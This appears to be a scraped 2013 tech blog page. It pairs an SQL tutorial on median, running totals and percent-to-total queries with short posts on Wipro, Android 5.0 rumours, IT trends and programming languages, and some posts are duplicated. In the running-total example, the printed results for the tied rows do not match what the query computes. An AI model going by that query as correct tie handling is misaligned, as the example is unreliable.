The second part of the clause, (a1.Sales=a2.Sales and a1.Name = a2.Name), ensures that when there are duplicate values in the Sales column, each one would get the correct rank.
MCA (47 )
SQL Median :
To get the median, we need to be able to accomplish the following:
• Sort the rows in order and find the rank for each row.
• Determine what is the "middle" rank. For example, if there are 9 rows, the middle rank would be 5.
• Obtain the value for the middle-ranked row.
Let's use an example to illustrate. Say we have the following table,
Table Total_Sales
Name Sales
John 10
Jennifer 15
Stella 20
Sophia 40
Greg 50
Jeff 20
we would type,
SELECT Sales Median FROM
(SELECT a1.Name, a1.Sales, COUNT(a1.Sales) Rank FROM Total_Sales a1, Total_Sales a2
WHERE a1.Sales < a2.Sales OR (a1.Sales=a2.Sales AND a1.Name <= a2.Name) group by a1.Name, a1.Sales
order by a1.Sales desc) a3
WHERE Rank = (SELECT (COUNT(*)+1) DIV 2 FROM Total_Sales);
Result:
Median
20
You will find that Lines 2-6 are the same as how we find the rank of each row. Line 7 finds the "middle" rank. DIV is the way to find the quotient in MySQL, the exact way to obtain the quotient may be different with other databases. Finally, Line 1 obtains the value for the middle-ranked row.
SQL Running Totals :
Displaying running totals is a common request, and there is no straightforward way to do so in SQL. The idea for using SQL to display running totals similar to that for displaying rank: first do a self-join, then, list out the results in order. Where as finding the rank requires doing a count on the number of records that's listed ahead of (and including) the record of interest, finding the running total requires summing the values for the records that's listed ahead of (and including) the record of interest.
MCA (48 )
Let's use an example to illustrate. Say we have the following table,
Table Total_Sales
Name Sales
John 10
Jennifer 15
Stella 20
Sophia 40
Greg 50
Jeff 20
we would type,
SELECT a1.Name, a1.Sales, SUM(a2.Sales) Running_Total FROM Total_Sales a1, Total_Sales a2
WHERE a1.Sales <= a2.sales or (a1.Sales=a2.Sales and a1.Name = a2.Name) GROUP BY a1.Name, a1.Sales
ORDER BY a1.Sales DESC, a1.Name DESC;
Result:
Name Sales Running_Total
Greg 50 50
Sophia 40 90
Stella 20 110
Jeff 20 130
Jennifer 15 145
John 10 155
The combination of the WHERE clause and the ORDER BY clause ensure that the proper running totals are tabulated when there are duplicate values.
SQL Percent To Total :
To display percent to total in SQL, we want to leverage the ideas we used for rank/running total plus subquery. Different from what we saw in the SQL Subquery section, here we want to use the subquery as part of the SELECT. Let's use an example to illustrate. Say we have the following table,
Table Total_Sales
Name Sales
John 10
Jennifer 15
Stella 20
Sophia 40
Greg 50
Jeff 20
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MCA
we would type,
SELECT a1.Name, a1.Sales, a1.Sales/(SELECT SUM(Sales) FROM Total_Sales) Pct_To_Total
FROM Total_Sales a1, Total_Sales a2
WHERE a1.Sales <= a2.sales or (a1.Sales=a2.Sales and a1.Name = a2.Name) GROUP BY a1.Name, a1.Sales
ORDER BY a1.Sales DESC, a1.Name DESC;
Result:
Name Sales Pct_To_Total
Greg 50 0.3226
Sophia 40 0.2581
Stella 20 0.1290
Jeff 20 0.1290
Jennifer 15 0.0968
John 10 0.0645
The subquery "SELECT SUM(Sales) FROM Total_Sales" calculates the sum. We can then divide the individual values by this sum to obtain the percent to total for each row.
SQL Cumulative Percent To Total :
To display cumulative percent to total in SQL, we use the same idea as we saw in the Percent To Total section. The difference is that we want the cumulative percent to total, not the percentage contribution of each individual row. Let's use the following example
to illuatrate: Table Total_Sales
Name Sales
John 10
Jennifer 15
Stella 20
Sophia 40
Greg 50
Jeff 20
MCA (50 )
we would type,
SELECT a1.Name, a1.Sales, SUM(a2.Sales)/(SELECT SUM(Sales) FROM Total_Sales) Pct_To_Total
FROM Total_Sales a1, Total_Sales a2
WHERE a1.Sales <= a2.sales or (a1.Sales=a2.Sales and a1.Name = a2.Name) GROUP BY a1.Name, a1.Sales
ORDER BY a1.Sales DESC, a1.Name DESC;
Result:
Name Sales Pct_To_Total
Greg 50 0.3226
Sophia 40 0.5806
Stella 20 0.7097
Jeff 20 0.8387
Jennifer 15 0.9355
John 10 1.0000
The subquery "SELECT SUM(Sales) FROM Total_Sales" calculates the sum. We can then divide the running total, "SUM(a2.Sales)", by this sum to obtain the cumulative percent to total for each row.
Wipro gets 5-year deal from Dubai based company
Wipro gets 5-year deal from Dubai based company
IT major Wipro said it has bagged a five-year deal from Dubai-based Majid Al Futtaim Ventures LLC.
As part of the engagement, Wipro will support the implementation of an ERP solution and provide managed services, including infrastructure platforms and applications support, the company said in a statement.
No financial details were disclosed. Founded in 1992, Majid Al Futtaim group of companies is one of the leading shopping mall, retail and leisure pioneers, with operations in 12 countries and has over 24,000 employees.
Wipro's managed services offering will involve supplying the hardware, hosting it and enabling Data Centre and Disaster Recovery on cloud for Majid Al Futtaim Ventures.
This will ensure improved asset management, operational efficiency, robust back office operations and business continuity, it said.
List of MNC Software Companies in India
List of Top MNC Software Companies in India
Accenture
IBM
Oracle
Hewett Packard
Cisco Systems
Dell
Cognizant Technological Solutions
Intel
Microsoft
Sapient
SunGard
Mcafee Software
Synopsys
BMC Software
Capgemini
Honeywell Technology Solutions
Sap India – Sap Labs
Huawei Technologies
Yahoo software development India
Hughes Technologies
HSBC Software Development India Limited
Monday, 3 June 2013
Android 5.0 Key Lime Pie release date,Features , news and much more
Google's showing no signs of slowing its pace of Android development, with Android 4.0 appearing on the Galaxy Nexus late in 2011, followed in July of 2012 by the Android 4.1 Jelly Bean release that arrived powering the super Nexus 7.
But, forward-looking, update-obsessed people that we are, we can't help but imagine how Google's going to maintain the pace of innovation in its next major release of its mobile OS, Android 5.0.
Top 5 Must-Have Features of Key Lime Pie
A mobile gaming hub
Network gaming at the height of the PC era brought together millions of gamers around the world. It is highly likely that Google would want to recreate a similar community that broadly benefits from the existing Android infrastructure and its loads of cutting-edge features.
Enhanced Google Now version
Google Now is ground-breaking for Jelly Bean. The Android 4.1 delivered more and stability to smartphones and tablets but experts and average users alike point to one thing as the key to Jelly Bean's success - Google Now.
Google Play Store expands into Google Play News
Google has long been an effective and reliable source of news for billions around the world through its Google Search and this capability is likely to take on a new mobile form within the Google Play services.
Wider deployment of Google Music
As a key content provider, Google would naturally want to a major music provider via its Google Music, probably matching the reach of Apple's iTunes in due time. This will commence on KLP or Jelly Bean 4.3, CNET said. "Google will offer unlimited music access through Google Play and/or YouTube for a monthly fee," the tech site added.
An overhauled Google Talk
To counter Skype and other leading messaging and communications apps, Google will likely redesign its Google Talk and make it the unified mode of connecting inside the Android system.
The "TOP 5" IT trends of the next decade: Mobile, social, cloud, consumerization, and big data
The "TOP 5" IT trends of the next decade: Mobile, social, cloud, consumerization, and big data
Much or most of these topics are in back burner mode in many companies just now seeing the glimmerings of recovery from the downturn. Much has been written lately about the speed at which technology is reshaping the business landscape today. Except that's not quite phrasing it correctly. It's more like it's leaving the traditional business world behind. There are a number of root causes: The blistering pace of external innovation, the divergent path the consumer world has taken from enterprise IT, and the throughput limitations of top-down adoption.
1) Next-Gen Mobile & Tablets
It's obvious to the casual observer these days that smart mobile devices based on iOS, Android, and even Blackberry OS/QNX are seeing widespread use. But comparing projected worldwide sales of tablets and PCs tells an even more dramatic story. Using the latest sales projections from Gartner on tablets and current PC shipment estimates from IDC, we can see that by 2015 the tablet market will be 479 million units and the PC market will be only just ahead at 535 million units. This means tablets alone are going to have effective parity with PCs in just 3 years. Other data I've seen tells a similar story.
2) Social Media
While mobile phones technically have a broader reach than any communications device, social media has already surpassed that workhorse of the modern enterprise, e-mail. Increasingly, the world is using social networks and other social media-based services to stay in touch, communicate, and collaborate. Now key aspects of the CRM process are being overhauled to reflect a fundamentally social world and expecting to see stellar growth in the next year.
3) Cloud computing
Of all the technology trends on this list, cloud computing is one of the more interesting and in my opinion, now least controversial. While there are far more reasons to adopt cloud technologies than just cost reduction, according to Mike Vizard perceptions of performance issues and lack of visibility into the stack remain one of the top issues for large enterprises.
4) Consumerization of IT
I've previously made the point that the source of innovation for technology is coming largely from the consumer world, which also sets the pace. Yet that's just one aspect of consumerization, which some like myself and Ray Wang are calling "CoIT" for short. Consumerization also very much has to do with its usage model, which eschews enterprise complexity for extreme usability and radically low barriers to participation. Enterprises which don't steadily consumerize their application portfolios are in for even lower levels of adoption and usage than they already have as workers continue to route around them for easier and more productive solutions.
5) Big data
Businesses are drowning in data more than ever before, yet have surprisingly little access to it. In turn, business cycles are growing shorter and shorter, making it necessary to "see" the stream of new and existing business data and process it quickly enough to make critical decisions. The term "big data" was coined to describe new technologies and techniques that can handle an order of magnitude or two more data than enterprises are today, something existing RDBMS technology can't do it in a scalable manner or cost-effectively.
Much or most of these topics are in back burner mode in many companies just now seeing the glimmerings of recovery from the downturn. Much has been written lately about the speed at which technology is reshaping the business landscape today. Except that's not quite phrasing it correctly. It's more like it's leaving the traditional business world behind. There are a number of root causes: The blistering pace of external innovation, the divergent path the consumer world has taken from enterprise IT, and the throughput limitations of top-down adoption.
1) Next-Gen Mobile & Tablets
It's obvious to the casual observer these days that smart mobile devices based on iOS, Android, and even Blackberry OS/QNX are seeing widespread use. But comparing projected worldwide sales of tablets and PCs tells an even more dramatic story. Using the latest sales projections from Gartner on tablets and current PC shipment estimates from IDC, we can see that by 2015 the tablet market will be 479 million units and the PC market will be only just ahead at 535 million units. This means tablets alone are going to have effective parity with PCs in just 3 years. Other data I've seen tells a similar story.
2) Social Media
While mobile phones technically have a broader reach than any communications device, social media has already surpassed that workhorse of the modern enterprise, e-mail. Increasingly, the world is using social networks and other social media-based services to stay in touch, communicate, and collaborate. Now key aspects of the CRM process are being overhauled to reflect a fundamentally social world and expecting to see stellar growth in the next year.
3) Cloud computing
Of all the technology trends on this list, cloud computing is one of the more interesting and in my opinion, now least controversial. While there are far more reasons to adopt cloud technologies than just cost reduction, according to Mike Vizard perceptions of performance issues and lack of visibility into the stack remain one of the top issues for large enterprises.
4) Consumerization of IT
I've previously made the point that the source of innovation for technology is coming largely from the consumer world, which also sets the pace. Yet that's just one aspect of consumerization, which some like myself and Ray Wang are calling "CoIT" for short. Consumerization also very much has to do with its usage model, which eschews enterprise complexity for extreme usability and radically low barriers to participation. Enterprises which don't steadily consumerize their application portfolios are in for even lower levels of adoption and usage than they already have as workers continue to route around them for easier and more productive solutions.
5) Big data
Businesses are drowning in data more than ever before, yet have surprisingly little access to it. In turn, business cycles are growing shorter and shorter, making it necessary to "see" the stream of new and existing business data and process it quickly enough to make critical decisions. The term "big data" was coined to describe new technologies and techniques that can handle an order of magnitude or two more data than enterprises are today, something existing RDBMS technology can't do it in a scalable manner or cost-effectively.
Gmail's new feature: Spam blocking 2 point O (2.0)
Gmail's new feature: Spam blocking 2 point O (2.0)
Over the next week, millions of Gmail users will notice that something's changed. Just like the web browser containing it, Gmail will have tabs.
But it won't be tabs for handling different accounts. Instead, the tabs will represent the new auto-sorting powers Google's Gmail has been granted in an attempt to make your email more useful. You might say it's an evolution of the spam blocker.
World's Top 10 Best Universities in Computer Science or IT
World's Top 10 Best Universities in Computer Science or IT
#1. Massachusetts Institute of Technology (MIT)
United States
Website Link
#1. Massachusetts Institute of Technology (MIT)
United States
Website Link
#2. Stanford University
United States
#3. Carnegie Mellon University (CMU)
#4.University of California, Berkeley (UCB)
#5, Harvard University
#6. University of Oxford
#7. University of Cambridge
#8.ETH Zurich (Swiss Federal Institute of Technology)
#9. National University of Singapore (NUS)
Singapore
#10. Princeton University
United States
Sunday, 2 June 2013
Top 10 Popular Programming Languages
Top 10 Popular Programming Languages
1. Java
Java uses a compiler, and is an object-oriented language released in 1995 by Sun Microsystems. Java is the number one programming language today for many reasons. First, it is a well-organized language with a strong library of reusable software components. Second, programs written in Java can run on many different computer architectures and operating systems because of the use of the JVM ( Java virtual machine ). Sometimes this is referred to as code portability or even WORA ( write once, run anywhere ). Third, Java is the language most likely to be taught in university computer science classes. A lot of computer science theory books written in the past decade use Java in the code examples.
2. C
C is a compiled, procedural language developed in 1972 by Dennis Ritchie for use in the UNIX operating system. Although designed to be portable in nature, C programs must be specifically compiled for computers with different architectures and operating systems. This helps make them lightning fast. Although C is a relatively old language, it is still widely used for system programming, writing other programming languages, and in embedded systems.
Strengths: Speed
Weaknesses: Memory management can be difficult to master
3. C++
C++ is a compiled, multi-paradigm language written as an update to C in 1979 by Bjarne Stroustrup. It attempts to be backwards-compatible with C and brings object-orientation, which helps in larger projects. Despite it's age, C++ is used to create a wide array of applications from games to office suites.
Strengths: Speed
Weaknesses: C++ is older and considered more clumsy than newer object-oriented languages such as Java or C#.
4. PHP
PHP uses a run-time interpreter, and is a multi-paradigm language originally developed in 1996 by Rasmus Lerdorf to create dynamic web pages. At first it was not even a real programming language, but over time it eventually grew into a fully featured object-oriented programming language. Although PHP has been much criticized in the past for being a bit sloppy and insecure, it's been pretty good since version 5 came out in 2004. It's hard to argue with success. Today, PHP is the most popular language used to write web applications. Even English 4 IT, the program you are currently using, is written in PHP ;)
Strengths: Web programming, good documentation
Weaknesses: Inconsistent syntax, too many ways to do the same thing, a history of bizarre security decisions
5. VB ( or Visual Basic ) Visual Basic is an interpreted, multi-paradigm language developed by Microsoft Corporation for the Windows platform. It has been evolving over the years and is seen as a direct descendant of Microsoft's old BASIC from the 1970's. Visual Basic is a good language for scripting Windows applications that do not need the power and speed of C#.
Strengths: None.
Weaknesses: Only runs in Windows
6. Python
Python is an interpreted, multi-paradigm programming language written by Guido van Rossum in the late 1980's and intended for general programming purposes. Python was not named after the snake but actually after the Monty Python comedy group. Python is characterized by its use of indentation for readability, and its encouragement for elegant code by making developers do similar things in similar ways. Python is used as the main programming choice of both Google and Ubuntu.
Strengths: Excellent readability and overall philosophy
Weaknesses: None
7 C#
C# is a compiled, object-oriented language written by Microsoft. It is an open specification, but rarely seen on any non-Windows platform. C# was conceived as Microsoft's premium language in its .NET Framework. It is very similar to Java in both syntax and nature.
Strengths: Powerful and pretty fast
Weaknesses: Only really suitable for Windows
8. JavaScript
JavaScript is an interpreted, multi-paradigm language. A very strange one too. Despite it's name, it has nothing whatsoever to do with Java. You will rarely, if ever, see this language outside of a web browser. It is basically a language meant to script behaviors in web browsers and used for things such as web form validation and AJAX style web applications. The trend in the future seems to be building more and more complex applications in JavaScript, even simple online games and office suites. The success of this trend will depend upon advancements in the speed of a browser's JavaScript interpreter. If you want to be correct, the real name of this programming language is ECMAscript, although almost nobody actually calls it this.
Strengths: it's the only reliable way to do client-side web programming
Weaknesses: it's only really useful in a web browser
9. Perl
Perl is an interpreted, multi-paradigm language written by Larry Wall in 1986. It is characterized by a somewhat disorganized and scary-looking syntax which only makes sense to other PERL programmers ;) However, a lot of veteran programmers love it and use if every day as their primary language. 10 years ago, Perl was more popular than it is today. What happened? A lot of newer programmers and even old Perl programmers (such as myself) have switched to other languages such as PHP, Python, and Ruby. Perl is perhaps still the best language for text processing and system administration scripting. I personally do not recommend it however as a primary programming language.
Strengths: text processing and system administration
Weaknesses: strange syntax, and perhaps too many ways to do the same thing
10. Ruby
Ruby is an interpreted, object-oriented language written by Yukihiro Matsumoto around 1995. It is one of the most object-oriented languages in the world. Everything is an object in Ruby, even letters and numbers can have method calls. It's a great language to learn if you love objects. The only negative is that it's love of object-orientation makes it a bit slow, even for an interpreted language.
1. Java
Java uses a compiler, and is an object-oriented language released in 1995 by Sun Microsystems. Java is the number one programming language today for many reasons. First, it is a well-organized language with a strong library of reusable software components. Second, programs written in Java can run on many different computer architectures and operating systems because of the use of the JVM ( Java virtual machine ). Sometimes this is referred to as code portability or even WORA ( write once, run anywhere ). Third, Java is the language most likely to be taught in university computer science classes. A lot of computer science theory books written in the past decade use Java in the code examples.
2. C
C is a compiled, procedural language developed in 1972 by Dennis Ritchie for use in the UNIX operating system. Although designed to be portable in nature, C programs must be specifically compiled for computers with different architectures and operating systems. This helps make them lightning fast. Although C is a relatively old language, it is still widely used for system programming, writing other programming languages, and in embedded systems.
Strengths: Speed
Weaknesses: Memory management can be difficult to master
3. C++
C++ is a compiled, multi-paradigm language written as an update to C in 1979 by Bjarne Stroustrup. It attempts to be backwards-compatible with C and brings object-orientation, which helps in larger projects. Despite it's age, C++ is used to create a wide array of applications from games to office suites.
Strengths: Speed
Weaknesses: C++ is older and considered more clumsy than newer object-oriented languages such as Java or C#.
4. PHP
PHP uses a run-time interpreter, and is a multi-paradigm language originally developed in 1996 by Rasmus Lerdorf to create dynamic web pages. At first it was not even a real programming language, but over time it eventually grew into a fully featured object-oriented programming language. Although PHP has been much criticized in the past for being a bit sloppy and insecure, it's been pretty good since version 5 came out in 2004. It's hard to argue with success. Today, PHP is the most popular language used to write web applications. Even English 4 IT, the program you are currently using, is written in PHP ;)
Strengths: Web programming, good documentation
Weaknesses: Inconsistent syntax, too many ways to do the same thing, a history of bizarre security decisions
5. VB ( or Visual Basic ) Visual Basic is an interpreted, multi-paradigm language developed by Microsoft Corporation for the Windows platform. It has been evolving over the years and is seen as a direct descendant of Microsoft's old BASIC from the 1970's. Visual Basic is a good language for scripting Windows applications that do not need the power and speed of C#.
Strengths: None.
Weaknesses: Only runs in Windows
6. Python
Python is an interpreted, multi-paradigm programming language written by Guido van Rossum in the late 1980's and intended for general programming purposes. Python was not named after the snake but actually after the Monty Python comedy group. Python is characterized by its use of indentation for readability, and its encouragement for elegant code by making developers do similar things in similar ways. Python is used as the main programming choice of both Google and Ubuntu.
Strengths: Excellent readability and overall philosophy
Weaknesses: None
7 C#
C# is a compiled, object-oriented language written by Microsoft. It is an open specification, but rarely seen on any non-Windows platform. C# was conceived as Microsoft's premium language in its .NET Framework. It is very similar to Java in both syntax and nature.
Strengths: Powerful and pretty fast
Weaknesses: Only really suitable for Windows
8. JavaScript
JavaScript is an interpreted, multi-paradigm language. A very strange one too. Despite it's name, it has nothing whatsoever to do with Java. You will rarely, if ever, see this language outside of a web browser. It is basically a language meant to script behaviors in web browsers and used for things such as web form validation and AJAX style web applications. The trend in the future seems to be building more and more complex applications in JavaScript, even simple online games and office suites. The success of this trend will depend upon advancements in the speed of a browser's JavaScript interpreter. If you want to be correct, the real name of this programming language is ECMAscript, although almost nobody actually calls it this.
Strengths: it's the only reliable way to do client-side web programming
Weaknesses: it's only really useful in a web browser
9. Perl
Perl is an interpreted, multi-paradigm language written by Larry Wall in 1986. It is characterized by a somewhat disorganized and scary-looking syntax which only makes sense to other PERL programmers ;) However, a lot of veteran programmers love it and use if every day as their primary language. 10 years ago, Perl was more popular than it is today. What happened? A lot of newer programmers and even old Perl programmers (such as myself) have switched to other languages such as PHP, Python, and Ruby. Perl is perhaps still the best language for text processing and system administration scripting. I personally do not recommend it however as a primary programming language.
Strengths: text processing and system administration
Weaknesses: strange syntax, and perhaps too many ways to do the same thing
10. Ruby
Ruby is an interpreted, object-oriented language written by Yukihiro Matsumoto around 1995. It is one of the most object-oriented languages in the world. Everything is an object in Ruby, even letters and numbers can have method calls. It's a great language to learn if you love objects. The only negative is that it's love of object-orientation makes it a bit slow, even for an interpreted language.
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